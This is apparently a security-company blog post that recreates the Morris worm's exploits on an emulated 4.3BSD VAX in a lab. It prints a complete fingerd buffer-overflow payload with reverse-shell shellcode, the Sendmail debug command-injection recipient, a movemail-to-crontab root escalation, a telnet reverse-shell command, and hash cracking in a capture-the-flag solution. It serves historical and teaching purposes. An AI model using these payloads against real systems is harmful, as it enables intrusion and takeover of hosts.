Last updated at Fri, 28 May 2021 17:59:52 GMT

This blog is the 10th post in our annual 12 Days of HaXmas series.

A couple of months ago, we paid tribute to the 30th anniversary of the Morris worm by dropping three new modules for it:

  1. A buffer overflow in fingerd(8)
  2. A VAX reverse shell
  3. A command injection in Sendmail’s debug code

All of these vulnerabilities were exploited by the worm in 1988.

In this post, we will dive into the exploit development process for those modules, beginning our journey by building a 4.3BSD system for testing, and completing it by retracing the worm author’s steps to RCE. By the end of this post, it will hopefully become clear how even 30-year-old vulns can still teach us modern-day fundamentals.


Let’s start with a little history on how this strange project came to be. I recall reading about the Morris worm on VX Heaven. It was many years ago, and some of you may still remember that site. Fast-forward to 2018, and I had forgotten about the worm until I had the opportunity to finish Cliff Stoll’s hacker-tracker epic, “The Cuckoo’s Egg.” In the epilogue, Stoll recounts fighting the first internet worm.

Notably, the worm exercised what was arguably the first malicious buffer overflow in the wild. It also exploited a command injection in Sendmail’s debug mode, which was normally used by administrators to debug mail problems. And even beyond the technical, the worm resulted in what was the first conviction under the Computer Fraud and Abuse Act (CFAA)—a precedent with lasting effects today.

Feeling inspired, I began a side project to see whether I could replicate the worm’s exploits using period tools. But first, I needed a system.

Ye olde 4.3BSD: VAX in the modern age

We’ll be doing our work on a “real” 4.3BSD system, but it will be simulated in the SIMH simulator, since it’s hard to find a real VAX-11/780. If you were at DEF CON 17, you had a chance to play with a live one!

I took the liberty of automating the entire build process in Docker, so please make sure you have that first. The manual build process can be found at the Computer History Wiki if you’re curious, but I must warn you that it is tedious.

Don't be surprised when you discover that the Docker environment merely automates expect(1) to automate SIMH to automate ed(1) here documents. After all, ed is the standard editor.

Cloning the repository

First, git clone the repo and cd into it.

wvu@kharak:~$ git clone
Cloning into 'ye-olde-bsd'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 11 (delta 1), reused 11 (delta 1), pack-reused 0
Unpacking objects: 100% (11/11), done.
wvu@kharak:~$ cd ye-olde-bsd
wvu@kharak:~/ye-olde-bsd:master$ ls -la
total 66776
drwxr-xr-x  12 wvu  2075806812       384 Dec 18 12:26 .
drwxr-xr-x+ 64 wvu  2075806812      2048 Dec 18 12:26 ..
-rw-r--r--   1 wvu  2075806812        71 Dec 18 12:26 .dockerignore
drwxr-xr-x  12 wvu  2075806812       384 Dec 18 12:26 .git
-rw-r--r--   1 wvu  2075806812  33617326 Dec 18 12:26 43.tap.gz
-rw-r--r--   1 wvu  2075806812      1226 Dec 18 12:26 Dockerfile
-rw-r--r--   1 wvu  2075806812       200 Dec 18 12:26
-rw-r--r--   1 wvu  2075806812       295 Dec 18 12:26 boot.ini
-rw-r--r--   1 wvu  2075806812      4331 Dec 18 12:26 boot42.gz
-rw-r--r--   1 wvu  2075806812       211 Dec 18 12:26 install.ini
-rw-r--r--   1 wvu  2075806812    534149 Dec 18 12:26 miniroot.gz
-rwxr-xr-x   1 wvu  2075806812      3499 Dec 18 12:26 setup.exp
wvu@kharak:~/ye-olde-bsd:master$ cat
# Docker environment for 4.3BSD on VAX

docker build -t ye-olde-bsd .
docker run -itp -p ye-olde-bsd

Building 4.3BSD

Next, we need to docker build the image. We'll tag it as ye-olde-bsd for easier access later. You might want to pick a more useful name than I did.

wvu@kharak:~/ye-olde-bsd:master$ docker build -t ye-olde-bsd .
Sending build context to Docker daemon  34.17MB
Successfully tagged ye-olde-bsd:latest

Running 4.3BSD

Now, we can run the simulator with our freshly built 4.3BSD system. We'll forward the ports for fingerd and Sendmail so we can exploit them through SIMH's virtual NAT. Additionally, I'm capping the CPU at 10% with --cpus .1, since the simulator will want to use 100% otherwise. It's a terrible drain on battery!

wvu@kharak:~/ye-olde-bsd:master$ docker run -itp -p --cpus .1 ye-olde-bsd
4.3 BSD UNIX (simh) (console)

login: root
Dec 18 10:36:49 simh login: ROOT LOGIN console
4.3 BSD UNIX #1: Fri Jun  6 19:55:29 PDT 1986

Would you like to play a game?

Don't login as root, use su

Go ahead and log in as root and start familiarizing yourself with the system. If you played the 2 of Diamonds challenge in our recent CTF, you're probably already familiar!

Smashing the stack for fun and nostalgia

If we look at the source for fingerd in /usr/src/etc/fingerd.c, we see a classical stack-based buffer overflow: A 512-byte buffer can be overflowed by gets(3), which reads from standard input and terminates on newline or EOF. The process is run by inetd(8), so no networking code is required in the daemon. This makes it easy for us to test in isolation.

simh# cat /usr/src/etc/fingerd.c
        char line[512];

So, what gets clobbered after the buffer? In x86, it's typically the saved frame pointer and saved return address, the latter of which we'd need to overwrite to execute code. However, in VAX, there are few extra longwords on the stack before we can reach "EIP" or PC, in our case, and some of those longwords are sensitive to unexpected values.

The section of the stack frame we're interested in looks like this:

| Condition handler        |
| Register save mask, etc. |
| Argument pointer (AP)    |
| Frame pointer    (FP)    |
| Program counter  (PC)    |

In my testing, I found it safe to zero out the four longwords leading up to the saved PC. Leaving set bits in those longwords could thwart your code execution due to how the ret instruction evaluates the stack frame.

So, we have 512 bytes of data, 16 bytes of stack frame to zero out, and 4 bytes for PC. That means 532 bytes total. The terminating newline can be omitted because we'll hit EOF.

Preparing fingerd for testing

Since fingerd runs via inetd, we can test it directly by sending data to its standard input. However, there is a getpeername(2) call we need to remove when running inetd-less.

Begin by making a copy of fingerd.c, since you don't want to lose the original. We'll be working in /tmp.

simh# cd /tmp
simh# cp /usr/src/etc/fingerd.c .

Next, comment out the getpeername(2) conditional. If you're using vi(1), you'll have to save with :wq!, since the file is read-only. Compile fingerd.c with -g (debugging symbols) once you're done.

simh# vi fingerd.c
[Using open mode]
"fingerd.c" [Read only] 95 lines, 1695 characters
        /*if (getpeername(0, &sin, &i) < 0)
                fatal(argv[0], "getpeername");*/
"fingerd.c" 95 lines, 1699 characters
simh# cc fingerd.c -o fingerd -g

Transferring files the old-school way

Let's generate a test buffer and transfer it with uuencode(1). I'm using Perl out of habit, but feel free to use your language of choice.

0x03 is the bpt or breakpoint instruction in VAX. If we run into it, the debugger will break automatically. It's really helpful while testing! AAAA is our new PC, which you should be intimately familiar with.

wvu@kharak:~$ perl -e 'print "\x03"x512 . "\x00"x16 . "AAAA"' | uuencode sploit.bin | ncat -lv 4444
Ncat: Version 7.70 ( )
Ncat: Listening on :::4444
Ncat: Listening on

telnet(1) is one of the few commands on 4.3BSD that will perform a TCP connection to an arbitrary host and port. Let's leverage it with uudecode(1) to download our exploit buffer. We named it sploit.bin with uuencode earlier.

simh# telnet 4444 | uudecode
Connection closed by foreign host.

Debugging and disassembling with dbx(1)

Most of you are familiar with GDB. Did you know that GDB was based on dbx from BSD? Both are symbolic debuggers with similar command syntaxes, so the transition should be easy for most.

Load fingerd with dbx and set a breakpoint on line 85, which should be a return statement. Run the program with the exploit buffer.

simh# dbx fingerd
dbx version 3.21 of 6/5/86 16:40 (monet.Berkeley.EDU).
Type 'help' for help.
reading symbolic information ...
(dbx) stop at 85
[1] stop at 85
(dbx) r < sploit.bin
Login name:                     In real life: ???
[1] stopped in main at line 85
   85           return(0);

So, I haven't found a way to statically disassemble a binary on 4.3BSD. If you know of a way, please let me know! However, I've been able to achieve the same result by dumping instructions from PC. You can adjust your disassembly by adjusting your breakpoint or changing your offset from PC (riskier because of variable-length instructions).

You can see this in action by dumping 10 instructions from PC.

(dbx) ($pc)/10i
00000361  clrl  r0
00000363  ret
00000364  ret
00000365  movab -568(sp),sp
0000036a  brw   59
0000036d  halt
0000036e  halt
0000036f  halt
00000370  brb   39c
00000372  pushl 4(ap)

Step to the next instruction, which should be our ret. We'll want to stop here to perform our memory analysis.

(dbx) nexti
stopped in main at 0x363
00000363  ret

Dump 200 longwords from SP to inspect our buffer.

(dbx) ($sp)/200X
7fffe908:  00002084 7fffe940 00000000 00000000
7fffe918:  00002338 00000000 00000079 00000003
7fffe928:  00000004 00000079 00000000 00000000
7fffe938:  00000000 00000000 03030303 03030303
7fffe948:  03030303 03030303 03030303 03030303
7fffe958:  03030303 03030303 03030303 03030303
7fffe968:  03030303 03030303 03030303 03030303
7fffe978:  03030303 03030303 03030303 03030303
7fffe988:  03030303 03030303 03030303 03030303
7fffe998:  03030303 03030303 03030303 03030303
7fffe9a8:  03030303 03030303 03030303 03030303
7fffe9b8:  03030303 03030303 03030303 03030303
7fffe9c8:  03030303 03030303 03030303 03030303
7fffe9d8:  03030303 03030303 03030303 03030303
7fffe9e8:  03030303 03030303 03030303 03030303
7fffe9f8:  03030303 03030303 03030303 03030303
7fffea08:  03030303 03030303 03030303 03030303
7fffea18:  03030303 03030303 03030303 03030303
7fffea28:  03030303 03030303 03030303 03030303
7fffea38:  03030303 03030303 03030303 03030303
7fffea48:  03030303 03030303 03030303 03030303
7fffea58:  03030303 03030303 03030303 03030303
7fffea68:  03030303 03030303 03030303 03030303
7fffea78:  03030303 03030303 03030303 03030303
7fffea88:  03030303 03030303 03030303 03030303
7fffea98:  03030303 03030303 03030303 03030303
7fffeaa8:  03030303 03030303 03030303 03030303
7fffeab8:  03030303 03030303 03030303 03030303
7fffeac8:  03030303 03030303 03030303 03030303
7fffead8:  03030303 03030303 03030303 03030303
7fffeae8:  03030303 03030303 03030303 03030303
7fffeaf8:  03030303 03030303 03030303 03030303
7fffeb08:  03030303 03030303 03030303 03030303
7fffeb18:  03030303 03030303 03030303 03030303
7fffeb28:  03030303 03030303 03030303 03030303
7fffeb38:  03030303 03030303 00000000 00000000
7fffeb48:  00000000 00000000 41414141 0002a900
7fffeb58:  00000003 00000001 7fffeb6c 7fffeb74
7fffeb68:  00000001 7fffeb8c 00000000 7fffeb94
7fffeb78:  7fffeb9b 7fffebaa 7fffebb7 7fffebc1
7fffeb88:  00000000 676e6966 00647265 454d4f48
7fffeb98:  53002f3d 4c4c4548 69622f3d 73632f6e
7fffeba8:  45540068 753d4d52 6f6e6b6e 55006e77
7fffebb8:  3d524553 746f6f72 54415000 652f3d48
7fffebc8:  2f3a6374 2f727375 3a626375 6e69622f
7fffebd8:  73752f3a 69622f72 752f3a6e 6c2f7273
7fffebe8:  6c61636f 73752f3a 6f682f72 3a737473
7fffebf8:  0000002e 00000000 7fffff6c ffffffff
7fffec08:  ffffffff 7fffe908 0026b400 80058af8
7fffec18:  8007a140 7fffe830 00000013 00000003

Dump five longwords from FP to inspect our stack frame. Note the zeroed-out longwords. Consult the stack diagram from before, if you're confused.

(dbx) ($fp)/5X
7fffeb40:  00000000 00000000 00000000 00000000
7fffeb50:  41414141

If your offset was correct, you can step through the ret and see if the saved PC was restored.

(dbx) nexti
stopped in write at 0x41414141
41414141  escf

That's a bingo! Pick a return address from the middle of the buffer. I'll pick 0x7fffea38. Bear in mind that this might not work against the inetd-run fingerd due to a potentially different stack layout.

Download the new exploit buffer with estimated return address.

wvu@kharak:~$ perl -e 'print "\x03"x512 . "\x00"x16 . "\x38\xea\xff\x7f"' | uuencode sploit.bin | ncat -lv 4444
Ncat: Version 7.70 ( )
Ncat: Listening on :::4444
Ncat: Listening on

Fire up dbx and start stepping. When you hit the bpt instruction, you can continue with c to verify.

simh# dbx fingerd
dbx version 3.21 of 6/5/86 16:40 (monet.Berkeley.EDU).
Type 'help' for help.
reading symbolic information ...
(dbx) stop at 85
[1] stop at 85
(dbx) r < sploit.bin
Login name:                     In real life: ???
[1] stopped in main at line 85
   85           return(0);
(dbx) nexti
stopped in main at 0x363
00000363  ret
(dbx) nexti
stopped in write at 0x7fffea38
7fffea38  bpt
(dbx) c

Trace/BPT trap in write at 0x7fffea38
7fffea38  bpt

If you hit a bpt instruction, you have RCE. Congrats! Now we just need a payload.

VAX shellcoding for great justice

If you've written x86 shellcode before, VAX shellcode will be a breeze. Think AT&T syntax, though. Sorry.

I'll begin by generating and disassembling the encoder-less bsd/vax/shell_reverse_tcp payload from Metasploit, since writing the shellcode out by hand is rather tedious.

wvu@kharak:~/metasploit-framework:master$ ./msfvenom -p bsd/vax/shell_reverse_tcp lhost= > bsd_vax_shell_reverse_tcp.bin
[-] No platform was selected, choosing Msf::Module::Platform::BSD from the payload
[-] No arch selected, selecting arch: vax from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 100 bytes

wvu@kharak:~/metasploit-framework:master$ gobjdump -Db binary -m vax bsd_vax_shell_reverse_tcp.bin

bsd_vax_shell_reverse_tcp.bin:     file format binary

Disassembly of section .data:

00000000 <.data>:
   0:	dd 00       	pushl $0x0
   2:	dd 01       	pushl $0x1
   4:	dd 02       	pushl $0x2
   6:	dd 03       	pushl $0x3
   8:	d0 5e 5c    	movl sp,ap
   b:	bc 8f 61 00 	chmk $0x0061
   f:	d0 50 5a    	movl r0,r10
  12:	dd 00       	pushl $0x0
  14:	dd 00       	pushl $0x0
  16:	dd 8f c0 a8 	pushl $0x0301a8c0
  1a:	01 03
  1c:	dd 8f 02 00 	pushl $0x5c110002
  20:	11 5c
  22:	d0 5e 5b    	movl sp,r11
  25:	dd 10       	pushl $0x10
  27:	dd 5b       	pushl r11
  29:	dd 5a       	pushl r10
  2b:	dd 03       	pushl $0x3
  2d:	d0 5e 5c    	movl sp,ap
  30:	bc 8f 62 00 	chmk $0x0062
  34:	d0 00 5b    	movl $0x0,r11
  37:	dd 5b       	pushl r11
  39:	dd 5a       	pushl r10
  3b:	dd 02       	pushl $0x2
  3d:	d0 5e 5c    	movl sp,ap
  40:	bc 8f 5a 00 	chmk $0x005a
  44:	f3 02 5b ef 	aobleq $0x2,r11,0x37
  48:	dd 8f 2f 73 	pushl $0x0068732f
  4c:	68 00
  4e:	dd 8f 2f 62 	pushl $0x6e69622f
  52:	69 6e
  54:	d0 5e 5b    	movl sp,r11
  57:	dd 00       	pushl $0x0
  59:	dd 00       	pushl $0x0
  5b:	dd 5b       	pushl r11
  5d:	dd 03       	pushl $0x3
  5f:	d0 5e 5c    	movl sp,ap
  62:	bc 3b       	chmk $0x3b

pushl and movl should be familiar. chmk is much like int 0x80. aobleq is probably the instruction that needs explanation. You can think of it like the loop instruction in x86. There's a limit, index (register), and displacement (jump). We're using it to dup(2) our file descriptors without duplicating code. It's basically a for loop.

The calling convention here is to push the arguments on the stack, then push the number of args, set the argument pointer to the stack pointer, and then perform the system call. Sound familiar? The only thing that's really different is the lack of AP in x86.

The shellcode acts very much like any other reverse shell: Configure a connection with socket(2), connect back to the attacker with connect(2), dup2(2) the socket descriptor across standard input, output, and error, and finally execute /bin/sh with execve(2).

Let's do ourselves a favor and convert this premade shellcode into hex-escaped bytes for our exploit. (The echo is purely for readability.)

wvu@kharak:~/metasploit-framework:master$ echo "$(hexdump -ve '"\\\x" 1/1 "%02x"' bsd_vax_shell_reverse_tcp.bin)"

Putting it all together

You might not have noticed it before, but there is some buffer corruption approximately 109 bytes between our shellcode and our fake stack frame. We can fill it with any non-newline character for now. You'll have to trust me (but I hope I'm wrong). It may just need a stack pivot.

Change the 0x03 bpt instruction to a 0x01 nop so we can skip ahead to our shellcode. Download the new exploit buffer.

wvu@kharak:~$ perl -e 'print "\x01"x303 . "\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b" . "A"x109 . "\x00"x16 . "\x38\xea\xff\x7f"' | uuencode sploit.bin | ncat -lv 4444
Ncat: Version 7.70 ( )
Ncat: Listening on :::4444
Ncat: Listening on

Set up ncat(1) to catch the shell.

wvu@kharak:~$ ncat -lkv 4444
Ncat: Version 7.70 ( )
Ncat: Listening on :::4444
Ncat: Listening on

And directly execute fingerd with the exploit buffer this time.

simh# ./fingerd < sploit.bin
Login name: ]                   In real life: ???

Check your ncat tab or window.

Ncat: Connection from
Ncat: Connection from

We've got a shell! It might be helpful to do something like PATH=/bin:/usr/bin:/usr/ucb:/etc; export PATH to make your new shell more usable. You can also use script /dev/null to spawn a PTY.

Let's take a chance and attempt a remote exploit, making an assumption that the stack layout is close enough.

wvu@kharak:~$ perl -e 'print "\x01"x303 . "\xdd\x00\xdd\x01\xdd\x02\xdd\x03\xd0\x5e\x5c\xbc\x8f\x61\x00\xd0\x50\x5a\xdd\x00\xdd\x00\xdd\x8f\xc0\xa8\x01\x03\xdd\x8f\x02\x00\x11\x5c\xd0\x5e\x5b\xdd\x10\xdd\x5b\xdd\x5a\xdd\x03\xd0\x5e\x5c\xbc\x8f\x62\x00\xd0\x00\x5b\xdd\x5b\xdd\x5a\xdd\x02\xd0\x5e\x5c\xbc\x8f\x5a\x00\xf3\x02\x5b\xef\xdd\x8f\x2f\x73\x68\x00\xdd\x8f\x2f\x62\x69\x6e\xd0\x5e\x5b\xdd\x00\xdd\x00\xdd\x5b\xdd\x03\xd0\x5e\x5c\xbc\x3b" . "A"x109 . "\x00"x16 . "\x38\xea\xff\x7f"' | ncat -v 79
Ncat: Version 7.70 ( )
Ncat: Connected to
Ncat: 532 bytes sent, 0 bytes received in 0.25 seconds.
Ncat: Connection from
Ncat: Connection from

Boom, (unprivileged) shell. We'll root the box later.

Mailing shell commands to Sendmail

Historic Sendmail possessed a debug mode for verifying whether mail reached its intended destination. Part of the implementation was shell escape functionality that could be used to run arbitrary commands. Since the commands would be part of the mail message, the headers had to be stripped in order for code execution to proceed cleanly.

We can test this with ncat and a little knowledge of the SMTP protocol. sed(1) is used to clean the mail message.

wvu@kharak:~$ ncat -v 25
Ncat: Version 7.70 ( )
Ncat: Connected to
220 simh Sendmail 5.51/5.17 ready at Wed, 18 Dec 85 11:14:07 PST
200 Debug set
MAIL FROM:<test>
queuename: assigned id AA00153, env=17934

parseaddr-->17948=<test>: mailer 0 (local), host `', user `test'
	next=0, flags=0, alias 0
	home="", fullname=""
250 <test>... Sender ok
RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">

--parseaddr(<"| sed '1,/^$/d' | sh; exit 0">)
parseaddr-->2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 0 (local), host `', user `"| sed '1,/^$/d' | sh; exit 0"'
	next=0, flags=0, alias 0
	home="", fullname=""

recipient: 2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 0 (local), host `', user `"| sed '1,/^$/d' | sh; exit 0"'
	next=0, flags=10, alias 0
	home="", fullname=""
250 <"| sed '1,/^$/d' | sh; exit 0">... Recipient ok
354 Enter mail, end with "." on a line by itself
export PATH
sleep 60
----- collected header -----
Return-Path: <g>
Received: ?sfrom s .by j (v/Z)
	id i; b
Resent-Date: a
Date: a
Resent-From: q
From: q
Full-Name: x
Resent-Message-Id: <t.i@j>
Message-Id: <t.i@j>

SENDALL: mode b, sendqueue:
2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
	next=0, flags=10, alias 0
	home="", fullname=""

recipient: 17948=<test>: mailer 0 (local), host `', user `test'
	next=0, flags=1, alias 0
	home="/", fullname=""
queueing AA00153
queueing 2c980=<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
	next=17948, flags=10, alias 0
	home="", fullname=""
250 Ok
<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
	next=17948, flags=10, alias 0
	home="", fullname=""
disconnect: In 7 Out 6
<"| sed '1,/^$/d' | sh; exit 0">: mailer 1 (prog), host `', user `| sed '1,/^$/d' | sh; exit 0"'
	next=17948, flags=10, alias 0
	home="", fullname=""

====finis: stat 0 e_flags 1
dropenvelope 17934 id=<null> flags=1
221 simh closing connection

====finis: stat 0 e_flags 1
dropenvelope 17934 id="AA00152" flags=1

We can inspect the resulting spool file in the mail queue and also verify that the shell command is executing.

simh# cd /usr/spool/mqueue
simh# ls -la
total 6
drwxrwxrwt  2 root          512 Dec 18 11:14 ./
drwxr-xr-x 10 root          512 Dec 18 10:36 ../
-rw-------  1 root           55 Dec 18 11:14 dfAA00153
-rw-------  1 root            0 Dec 18 11:14 lfAA00153
-rw-------  1 root          326 Dec 18 11:14 qfAA00153
-rw-r--r--  1 daemon        157 Dec 18 11:15 syslog
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.0
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.1
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.2
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.3
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.4
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.5
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.6
-rw-r--r--  1 daemon          0 Sep 27  1983 syslog.7
-rw-r--r--  1 root          329 Dec 18 11:15 xfAA00153
simh# cat dfAA00153
export PATH
sleep 60
simh# ps auxww | grep '^daemon'
daemon     159  0.0  0.2    9    7 ?  I     0:00 sleep 60
daemon     158  0.0  0.3   27   12 ?  I     0:00 sh
daemon     156  0.0  0.3   27   12 ?  I     0:00 sh -c  sed '1,/^$/d' | sh; exit 0

Our sleep 60 command is sent to /bin/sh, and there are no mail headers in the spool file because sed cleaned them up. Pretty cool!

Emacs movemail exploit from ‘The Cuckoo's Egg’

The hacker in the book used this to root the boxes he shelled. While the events of the book took place on 4.2BSD, we can do the same on 4.3, since I've imported the /usr/src/contrib tree with Emacs source.

Let's perform the attack but with our own vector that doesn't clobber atrun(8).

Preparing a SUID-root movemail

simh# cd /usr/src/contrib/emacs/etc
simh# make movemail
cc -o movemail -g movemail.c
simh# cp movemail /etc
simh# chmod 4755 /etc/movemail
simh# ls -l /etc/movemail
-rwsr-xr-x  1 root        15360 Dec 18 11:20 /etc/movemail*

Exploiting movemail via crontab.local

(umask 0 && /etc/movemail /dev/null /usr/lib/crontab.local)
ls -l /usr/lib/crontab.local
-rw-rw-rw-  1 root            0 Dec 18 11:22 /usr/lib/crontab.local
(echo "* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh"; echo  "* * * * * root rm -f /usr/lib/crontab.local") > /usr/lib/crontab.local
cat /usr/lib/crontab.local
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
* * * * * root rm -f /usr/lib/crontab.local
ls -l /tmp/sh
-rwsr-xr-x  1 root        23552 Dec 18 11:22 /tmp/sh
ls -l /usr/lib/crontab.local
/usr/lib/crontab.local not found

Feel free to read the module and its documentation for more detailed information. With an arbitrary read and write, there are plenty of other vectors to escalate to root. The auxiliary crontab(5) seemed the most straightforward to me.

Bonus: 2 of Diamonds solution (SPOILERS)

This is more of an intended solution than a write-up. Easter eggs are referenced by quotes from “The Cuckoo's Egg.”

msf5 > use exploit/unix/smtp/morris_sendmail_debug
msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts
rhosts =>
msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost
lhost =>
msf5 exploit(unix/smtp/morris_sendmail_debug) > run

[*] Started reverse TCP double handler on
[*] - Connecting to sendmail
[*] - Enabling debug mode and sending exploit
[*] - Sending: DEBUG
[*] - Sending: MAIL FROM:<OL6ueX3yw5TVFnOp8svQqcYCTE>
[*] - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
[*] - Sending: DATA
[*] - Sending:  PATH=/bin:/usr/bin:/usr/ucb:/etc
[*] - Sending: export PATH
[*] - Sending: sh -c '(sleep 4387|telnet 4444|while : ; do sh && break; done 2>&1|telnet 4444 >/dev/null 2>&1 &)'
[*] - Sending: .
[*] - Sending: QUIT
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo YFSyo34voEAHn2Nx;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: ": Trying...: not found\r\nsh: Connected: not found\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened ( -> at 2018-12-18 13:30:42 -0600
[!] - Do NOT type `exit', or else you may lose further shells!
[!] - Hit ^C to abort the session instead, please and thank you

grep hunter /etc/passwd
hunter:IE4EHKRqf6Wvo:32765:31:Hunter Hedges:/usr/guest/hunter:/bin/sh
cat /usr/spool/mail/hunter
From cliff Wed Sep 10 12:34:42 1986
Received: by 2-of-diamonds (5.51/5.17)
	id AA00579; Wed, 10 Sep 86 12:34:42 PDT
Date: Wed, 10 Sep 86 12:34:42 PDT
From: cliff (Cliff Stoll)
Message-Id: <8610210434.AA00579@2-of-diamonds>
To: mcnatt@
Subject: What do you know about the nesting habits of cuckoos?
Status: RO

He went looking for your Gnu-Emacs move-mail file.

"What do you know about the nesting habits of cuckoos?" I explained the workings of the Gnu-Emacs security hole.

wvu@kharak:~$ hashcat -ia 3 -m 1500 --force IE4EHKRqf6Wvo ?l?l?l?l?l?l?l?l

Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: IE4EHKRqf6Wvo
Time.Started.....: Tue Dec 18 13:33:17 2018 (57 secs)
Time.Estimated...: Tue Dec 18 13:34:14 2018 (0 secs)
Guess.Mask.......: ?l?l?l?l?l?l?l [7]
Guess.Queue......: 7/8 (87.50%)
Speed.Dev.#2.....: 14603.0 kH/s (823.72ms) @ Accel:1 Loops:1024 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 836665344/8031810176 (10.42%)
Rejected.........: 0/836665344 (0.00%)
Restore.Point....: 36864/456976 (8.07%)
Candidates.#2....: rywwfou -> vkvcfnd

Started: Tue Dec 18 13:31:50 2018
Stopped: Tue Dec 18 13:34:15 2018

The hacker apparently didn't like his old passwords—hedges, jaeger, hunter, and benson. He replaced them, one by one, with a single new password, lblhack.

su - hunter

ls -la
total 18
drwx------  2 hunter        512 Nov  6 18:19 .
drwxr-xr-x  7 root          512 Nov  6 18:19 ..
-rw-------  1 hunter         13 Nov  6 18:19 .history
-rws--x--x  1 root        15360 Nov  6 18:19 movemail
cat .history
ps -eafg

The intruder, however, entered ps -eafg. Strange. I'd never seen anyone use the g flag.

msf5 exploit(unix/smtp/morris_sendmail_debug) > use exploit/unix/local/emacs_movemail
msf5 exploit(unix/local/emacs_movemail) > set session -1
session => -1
msf5 exploit(unix/local/emacs_movemail) > set movemail /usr/guest/hunter/movemail
movemail => /usr/guest/hunter/movemail
msf5 exploit(unix/local/emacs_movemail) > set verbose true
verbose => true
msf5 exploit(unix/local/emacs_movemail) > run

[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
[*] Current shell is /bin/sh
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
[+] SUID-root /usr/guest/hunter/movemail found
[*] Preparing crontab with payload
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
* * * * * root rm -f /usr/lib/crontab.local
[*] Creating writable /usr/lib/crontab.local
[+] Writing crontab to /usr/lib/crontab.local
[!] Please wait at least one minute for effect
[*] Exploit completed, but no session was created.
msf5 exploit(unix/local/emacs_movemail) > sessions -1
[*] Starting interaction with 1...

ls -l /tmp/sh
-rwsr-xr-x  1 root        23552 Dec 18 11:36 /tmp/sh

Welcome to adventure!!  Would you like instructions?

You are standing at the end of a road before a small brick building.
Around you is a forest.  A small stream flows out of the building and
down a gully.
enter building

You are inside a building, a well house for a large spring.

There are some keys on the ground here.

There is a shiny brass lamp nearby.

There is food here.

There is a bottle of water here.
take keys

take lamp


You're at end of road again.
go south

You are in a valley in the forest beside a stream tumbling along a
rocky bed.
go south

At your feet all the water of the stream splashes into a 2-inch slit
in the rock.  Downstream the streambed is bare rock.
go south

You are in a 20-foot depression floored with bare dirt.  Set into the
dirt is a strong steel grate mounted in concrete.  A dry streambed
leads into the depression.

The grate is locked.
unlock grate

The grate is now unlocked.

You are in a small chamber beneath a 3x3 steel grate to the surface.
A low crawl over cobbles leads inward to the west.

The grate is open.
go west

You are crawling over cobbles in a low passage.  There is a dim light
at the east end of the passage.

There is a small wicker cage discarded nearby.
take cage

go west

It is now pitch dark.  If you proceed you will likely fall into a pit.
light lamp

Your lamp is now on.

You are in a debris room filled with stuff washed in from the surface.
A low wide passage with cobbles becomes plugged with mud and debris
here, but an awkward canyon leads upward and west.  A note on the wall
says "magic word xyzzy".

A three foot black rod with a rusty star on an end lies nearby.
go west

You are in an awkward sloping east/west canyon.
go west

You are in a splendid chamber thirty feet high.  The walls are frozen
rivers of orange stone.  An awkward canyon and a good passage exit
From east and west sides of the chamber.

A cheerful little bird is sitting here singing.
catch bird

go west

At your feet is a small pit breathing traces of white mist.  An east
passage ends here except for a small crack leading on.

Rough stone steps lead down the pit.
go down

You are at one end of a vast hall stretching forward out of sight to
the west.  There are openings to either side.  Nearby, a wide stone
staircase leads downward.  The hall is filled with wisps of white mist
swaying to and fro almost as if alive.  A cold wind blows up the
staircase.  There is a passage at the top of a dome behind you.

Rough stone steps lead up the dome.
go down

You are in the hall of the mountain king, with passages off in all

A huge green fierce snake bars the way!
release bird

The little bird attacks the green snake, and in an astounding flurry
drives the snake away.
go sw

You are in a secret canyon which here runs e/w.  It crosses over a
very tight canyon 15 feet below.  If you go down you may not be able
to get back up.
go west

You are in a secret canyon which exits to the north and east.

A huge green fierce dragon bars the way!

The dragon is sprawled out on a persian rug!!
kill dragon

With what?  Your bare hands?

Congratulations!  You have just vanquished a dragon with your bare
Hands!  (unbelievable, isn't it?)

You are in a secret canyon which exits to the north and east.

